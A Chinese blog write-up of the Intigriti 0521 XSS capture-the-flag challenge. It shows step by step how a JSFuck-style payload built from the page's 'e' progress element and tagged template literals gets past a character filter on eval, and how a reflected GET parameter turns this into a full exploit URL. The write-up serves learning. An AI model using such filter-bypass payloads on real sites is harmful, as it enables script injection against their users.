玩通灵 - Intigriti's 0521 XSS challenge (Clickjacking)

前言

这是之前 Huli 大在前端社团分享的 国外 XSS 挑战。
最近比较有时间来分享,当时 「从0~提交通过」的通灵思路。
组字串的细节可以参考 Huli 大後来在部落格分享的文章

https://ithelp.ithome.com.tw/upload/images/20210617/20120331KHtqe9ChEo.png

题目

网址:
https://challenge-0521.intigriti.io/

规则:
在「challenge-0521.intigriti.io」这个网域,以不使用「self-XSS (不让使用者输入 XSS 指令)」的前提下,使用 XSS 执行「alert(document.domain)」。

通灵开始

通灵时间:哪边可以利用?

  1. 进入网页,看到一个很显眼的机器人验证题目栏位。

  2. 题目既然提到要用 XSS,当然要打开 F12 看看 HTML 和 Javascript 有什麽惊喜。
    首先看到了网页里面嵌入了一个 iframe,位置在 ./captcha.php

<iframe src="./captcha.php" width="450" height="90" frameborder="0"></iframe>


iframe 底下,包含机器人验证的表单 HTML 与 Javascript。

    <form id="captcha">
        <div id="input-fields">
          <span id="a">416</span>
          <span id="b">+</span>
          <input id="c" type="text" size="4" value="" required="">
          =
          <span id="d">773</span>
          <progress id="e" value="0" max="100" style="display:none"></progress>
        </div>
          <input type="submit" id="f">
          <input type="button" onclick="setNewNumber()" value="Retry" id="g">
    </form>
<script>
 ...
</script>

  1. 接着看到表单送出时,会往下呼叫 loadCalc()。

  2. HTML 的部分看完後,继续往下阅读,送出时会执行的所有 Javascript。

    仔细看一下 loadCalc(),他会跑一个 Timer,等到 100% 的时候执行 calc():

        function loadCalc(pVal){
          document.getElementsByTagName("progress")[0].style.display = "block";
          document.getElementsByTagName("progress")[0].value = pVal;
          if(pVal == 100){
            calc();
          }
          else{
            window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
          }
        }
    

    当中的 calc() 的部分,会把 a+b+c 的相加结果放到 eval 执行相加。
    接着判断相加後的结果,是否等於 d,也就是等号後面的数字。

    到这边会发现,calc() 里面,有一个可以用来执行 Javascript 程序码 eval。
    但是在这段 eval 外面,有一个 if 判断,透过正规表达式,过滤了当中的字元。
    只要 operation 当中包含了任何被过滤的字元,就不会执行 eval。

    其中有一行注解特别说明,e 是被允许的,因为它在数学中是一个自然底数。

         function calc() {
            const operation = a.innerText + b.innerText + c.value;
            if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
                if (d.innerText == eval(operation)) {
                  alert("?? Congratulations, you're not a robot!");
                }
                else {
                  alert("? Sorry to break the news to you, but you are a robot!");
                }
                setNewNumber();
            }
            c.value = "";
        }
    

    这一段是相加结果不符之後,用来重新产生题目的程序码。

    function setNewNumber() {
            document.getElementsByTagName("progress")[0].style.display = "none";
        var dValue = Math.round(Math.random()*1000);
        d.innerText = dValue;
        a.innerText = Math.round(Math.random()* dValue);
    }
    

到这边确定了两件事情,
第一件事:表单不会送出任何东西到後端。只会在前端执行 Javascript。
第二件事:你必须在不使用正规当中的字元的前提下,生出一个 alert(document.domain) 塞在 eval 的 operation 执行。

通灵时间:怎麽在限有的字元下生出其他字元,塞到 eval()?

  1. 下个关键字问问狗:「javascript xss non-alpha」。

  2. 接着继续找着找着,在第一个连结里面,找到这个投影片
    第二个连结找到 JS Fuck 的 Github

    只要利用 JS Fuck 介绍的方式,就可以利用 eval 拼出我们要的 "alert(document.domain)"。
    但是 eval 只会帮我们拼成字串,并不会帮实际执行,该怎麽办呢?

    在 JS Fuck 里面有提到了一种,用来执行任意 Javascript 的写法:

    []["filter"]["constructor"]( CODE )()
    

从前两个搜寻结果内容,确定了第三件事情:我们可以利用 JS Fuck 的方式,拼出其他字元,塞到 eval 来执行任意Javascript。

通灵时间:为什麽可以透过 []["filter"]["constructor"]( CODE )() 执行 alert

  1. 任何一个变数都有一个 constructor。
  2. 任何一个函式也有一个 constructor,也就是 Function()。
  3. 在《MDN: eval()》有提到,可以使用 Function(Code)() 的方式来执行 Javascript。
  4. [].constructor 的写法等同 []['constructor'],这种写法叫做 Property accessors

此外,当我尝试在 challenge-0521.intigriti.io/ 执行 Function('console.log("123")')() 会发现这个页面有设定 CSP,所以被挡掉无法执行。

这时通灵一下:想到之前在 HTML 的原始码,有看到网页有使用一个 iframe 网页: captcha.php
进去这个页面试试看,有没有挡 CSP。

试完後发现,这个页面没有挡 CSP。

这时候确定了第四件事情:我们可以在 captcha.php,将拼好的 Function('alert(document.domain)')() 塞进 eval() 进行 XSS。

然而,看完 JS Fuck 的 Github 以及投影片程序码,会发现目前有一个问题:没办法使用 ! 跟 (),也就是用来生出 true 跟 false,以及用来执行的小括号。

这时候确定了第五件事情:目前没办法直接生出 true 跟 false。

通灵时间:如果没办法生出 true 跟 false,也没有小括号,目前我能拼的字有哪些?

  1. "undefined"
[][   0 ] + [] // 早期语法
`${[][   0 ]}` // ES6 语法
  1. "NaN"
+{} + [] // 早期语法
`${+{}}` // ES6 语法
  1. "[object Object]"
[] + {} // 早期语法
`${{}}` // ES6 语法

现在还缺 lrm,这些字要怎麽生出来?
这时通灵一下,想到正规表达式没有排除的 e。

这什麽东西?这是网页的进度条!为什麽 e 出来的是这个东西?
这是 HTML5 当中的一个特性 Named access on the Window object
可以用元素的 id 名称当作变数名称,直接存取对应 id 的元素。

试着把 e 转成字串之後,发现会得到 "[object HTMLProgressElement]"。

有了 constructor,就可以将 e['constructor'] 转成字串,得到小括号。
https://ithelp.ithome.com.tw/upload/images/20210618/201203317qbDUodjkU.png

这时候确认了第六件事情:我们可以利用 e 拼出 constructor,间接拼出 []["filter"]["constructor"]( CODE )()

备注:我当时是使用: e['constructor']['constructor']('alert(document.domain)')()。

通灵时间:e['constructor']['constructor']('alert(document.domain)')() ,字串外面的两组 () 不能是字串,那我要怎麽改写才能执行?

利用 Tagged template literal 的特性,将 () 使用 `` 的写法替代。
详细在这篇 stackoverflow 与 Huli 文中分享的这篇文章

e['constructor']['constructor']`_${'alert(document.domain)'}```

其他拼字的详细过程不再赘述,有兴趣可以参考 Huli 的文章。

这时候就可以拼出,执行题目要求的程序码。
以下是我当时拼出来的结果:

e[`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ][`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e  + [][0]}`[21] + `${e  + [][0]}`[22] + `${e  + [][0]}` [13] + `${e  + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}`[5] + `${e  + [][0]}` [28] + `${e  + [][0]}` [23] + `${e  + [][0]}` [24] + `${e  + [][0]}` [25] + `${e  + [][0]}` [26] + [[] + [] + 1 / 10][0][1] +  `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}` [23] + [+{} + []][0][1] +  `${e  + [][0]}`[33] + `${e  + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```

复制到网页上送出,成功跳出题目要求的 alert。
https://ithelp.ithome.com.tw/upload/images/20210617/20120331Ih9DX5aLyy.png

YA! 可以开心地去交答案了。 (结果被打枪了)

通灵时间:对方告诉我,不能使用 self-xss,该怎麽做?

我们必须要在进入网页时,自动带入我们拼好要执行的程序码。
先前看了前端的 Javascript ,并没有任何的程序码会自动带入c栏位。

这时通灵一下:如果我们希望进入网页时,将值自动带入 PHP 网页的 input,PHP 可能会怎麽写?
(用 GET 塞到 input 的 value)

<input id="c" type="text" size="4" value="<?php echo $_GET['c']; ?>" required="">

那我试试看後面加上 ?c=123 好了。
加上去之後,确认了第七件事:GET 参数当中的 c 会带入 c 栏位的 value 值。

https://challenge-0521.intigriti.io/captcha.php?c=123

https://ithelp.ithome.com.tw/upload/images/20210617/20120331r9QqUN11pZ.png

接着把刚才拼出的程序码,塞到 GET 参数
进入网页并送出表单之後,发现竟然没有反应...

https://challenge-0521.intigriti.io/captcha.php?c=e[`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20][`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[19]%20+%20%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[5]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20`${e%20%20+%20[][0]}`%20[1]%20+%20`${e%20%20+%20[][0]}`%20[13]%20]`e${[+{}%20+%20[]][0][1]%20+%20`${e%20%20+%20[][0]}`[21]%20+%20`${e%20%20+%20[][0]}`[22]%20+%20`${e%20%20+%20[][0]}`%20[13]%20+%20`${e%20%20+%20[][0]}`%20[6]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][13]%20+%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`[5]%20+%20`${e%20%20+%20[][0]}`%20[28]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20`${e%20%20+%20[][0]}`%20[24]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20`${e%20%20+%20[][0]}`%20[26]%20+%20[[]%20+%20[]%20+%201%20/%2010][0][1]%20+%20%20`${e%20%20+%20[][0]}`[30]%20+%20`${e%20%20+%20[][0]}`[1]%20+%20`${e%20%20+%20[][0]}`%20[23]%20+%20[+{}%20+%20[]][0][1]%20+%20%20`${e%20%20+%20[][0]}`[33]%20+%20`${e%20%20+%20[][0]}`%20[25]%20+%20[[][%20[[][0]%20+%20[]][0][4]%20+%20[[][0]%20+%20[]][0][5]%20+%20[[][0]%20+%20[]][0][6]%20+%20[[][0]%20+%20[]][0][8]%20]%20+[]][0][14]}```

通灵时间:为什麽拼出来的程序码,带到网址的 GET 参数会有问题?

这是塞进去 GET 之前,拼出来的值:

e[`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ][`${e  + [][0]}` [5] + `${e  + [][0]}` [1] +  `${e  + [][0]}` [25] + `${e  + [][0]}` [19] +  `${e  + [][0]}` [6] + `${e  + [][0]}` [13] + `${e  + [][0]}` [28] + `${e  + [][0]}` [5] + `${e  + [][0]}` [6] + `${e  + [][0]}` [1] + `${e  + [][0]}` [13] ]`e${[+{} + []][0][1] + `${e  + [][0]}`[21] + `${e  + [][0]}`[22] + `${e  + [][0]}` [13] + `${e  + [][0]}` [6] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][13] + `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}`[5] + `${e  + [][0]}` [28] + `${e  + [][0]}` [23] + `${e  + [][0]}` [24] + `${e  + [][0]}` [25] + `${e  + [][0]}` [26] + [[] + [] + 1 / 10][0][1] +  `${e  + [][0]}`[30] + `${e  + [][0]}`[1] + `${e  + [][0]}` [23] + [+{} + []][0][1] +  `${e  + [][0]}`[33] + `${e  + [][0]}` [25] + [[][ [[][0] + []][0][4] + [[][0] + []][0][5] + [[][0] + []][0][6] + [[][0] + []][0][8] ] +[]][0][14]}```

这是塞进去 GET 之後,input 当中的值:

e[`${e    [][0]}` [5]   `${e    [][0]}` [1]    `${e    [][0]}` [25]   `${e    [][0]}` [19]    `${e    [][0]}` [6]   `${e    [][0]}` [13]   `${e    [][0]}` [28]   `${e    [][0]}` [5]   `${e    [][0]}` [6]   `${e    [][0]}` [1]   `${e    [][0]}` [13] ][`${e    [][0]}` [5]   `${e    [][0]}` [1]    `${e    [][0]}` [25]   `${e    [][0]}` [19]    `${e    [][0]}` [6]   `${e    [][0]}` [13]   `${e    [][0]}` [28]   `${e    [][0]}` [5]   `${e    [][0]}` [6]   `${e    [][0]}` [1]   `${e    [][0]}` [13] ]`e${[ {}   []][0][1]   `${e    [][0]}`[21]   `${e    [][0]}`[22]   `${e    [][0]}` [13]   `${e    [][0]}` [6]   [[][ [[][0]   []][0][4]   [[][0]   []][0][5]   [[][0]   []][0][6]   [[][0]   []][0][8] ]  []][0][13]   `${e    [][0]}`[30]   `${e    [][0]}`[1]   `${e    [][0]}`[5]   `${e    [][0]}` [28]   `${e    [][0]}` [23]   `${e    [][0]}` [24]   `${e    [][0]}` [25]   `${e    [][0]}` [26]   [[]   []   1 / 10][0][1]    `${e    [][0]}`[30]   `${e    [][0]}`[1]   `${e    [][0]}` [23]   [ {}   []][0][1]    `${e    [][0]}`[33]   `${e    [][0]}` [25]   [[][ [[][0]   []][0][4]   [[][0]   []][0][5]   [[][0]   []][0][6]   [[][0]   []][0][8] ]  []][0][14]}```

有没有发现少了什麽? + 不见了!!
为什麽塞进去 GET 之後 + 会消失?

url 的字元只能使用包含在 ASCII 的字元传送,其他的字元需要被转换为有效的 ASCII Code。而且 + 号在 url 的 query parameter 被当作是空白

URLs can only be sent over the Internet using the ASCII character-set.
Since URLs often contain characters outside the ASCII set, the URL has to be converted into a valid ASCII format.
URLs cannot contain spaces. URL encoding normally replaces a space with a plus (+) sign or with %20.

所以我们必须把刚才网址,经过 urlencode 转换一次
url 经过转後,+号就会变成 %2B。

接着再次进入转换过的网址,进入後直接送出表单。

https://challenge-0521.intigriti.io/captcha.php?c=e%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%5B%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B19%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%5D%60e%24%7B%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B21%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B22%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B6%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B13%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B5%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B28%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B24%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B26%5D%20%2B%20%5B%5B%5D%20%2B%20%5B%5D%20%2B%201%20%2F%2010%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B30%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B1%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B23%5D%20%2B%20%5B%2B%7B%7D%20%2B%20%5B%5D%5D%5B0%5D%5B1%5D%20%2B%20%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%5B33%5D%20%2B%20%60%24%7Be%20%20%2B%20%5B%5D%5B0%5D%7D%60%20%5B25%5D%20%2B%20%5B%5B%5D%5B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B4%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B5%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B6%5D%20%2B%20%5B%5B%5D%5B0%5D%20%2B%20%5B%5D%5D%5B0%5D%5B8%5D%20%5D%20%2B%5B%5D%5D%5B0%5D%5B14%5D%7D%60%60%60

https://ithelp.ithome.com.tw/upload/images/20210617/20120331OSU1JRCiPX.png

再次提交修改後的结果,顺利通过了挑战。
https://ithelp.ithome.com.tw/upload/images/20210617/20120331KHtqe9ChEo.png

心得

每次玩 CTF 都觉得很像在练通灵。
线索只要找错,通灵不成,便成亡,只会越想越错浪费很多时间。

相对的,一旦找对线索跟方向,会发现其实并没有想像中的难 (甚至会想骂脏话)。
所以玩过几次後,真心觉得,在资安圈长期闯荡的人,脑袋跟反应都很聪明。

很多被拿来利用的安全问题,都是出现在一些平常开发不会想到或用到的地方。
以这题的 Clickjacking,就是模拟利用网页 iframe 进行 XSS 攻击,来诱导使用者进行非预期的操作情境。

例如:
将假的登入网页设定透明,放到最上层,并将正常的网站显示并放在下层。
这样子使用者会以为,他是在操作正常的登入网页,但实际上使用者操作的是假的登入网页。
详细可以参考去年铁人赛这篇: 资安这条路 17 - [WebSecurity] 点击劫持 clickjacking

所以即使不是走资安圈,CTF 很适合当作练习「技术的深度 & 广度」,以及「解决问题的能力跟耐性」(还有通灵能力)


<<:  Day 16 (Ps)

>>:  缓冲区溢出和记忆体泄漏(Buffer Overflow and Memory Leak)

此刻所发生的所有事,都是你之前选择的结果。

此刻所发生的所有事,都是你之前选择的结果。 Everything that is happening...

Azure Developer Course

Azure Developer Course is for candidates who are w...

【Day 14】Function 函数

Functions 紧接着,我们就要来介绍函数了!写函数可以让我们的程序码更简洁明了也更有效率,因此...

DAY19 专案进度按钮功能实现-3

class Root_Team(): def content(self): flex_message...

[区块链&DAPP介绍 Day3] 什麽是智能合约

今天来聊聊我们接下来的27天会环绕的议题,就是智能合约(samrt contract)。 智能合约(...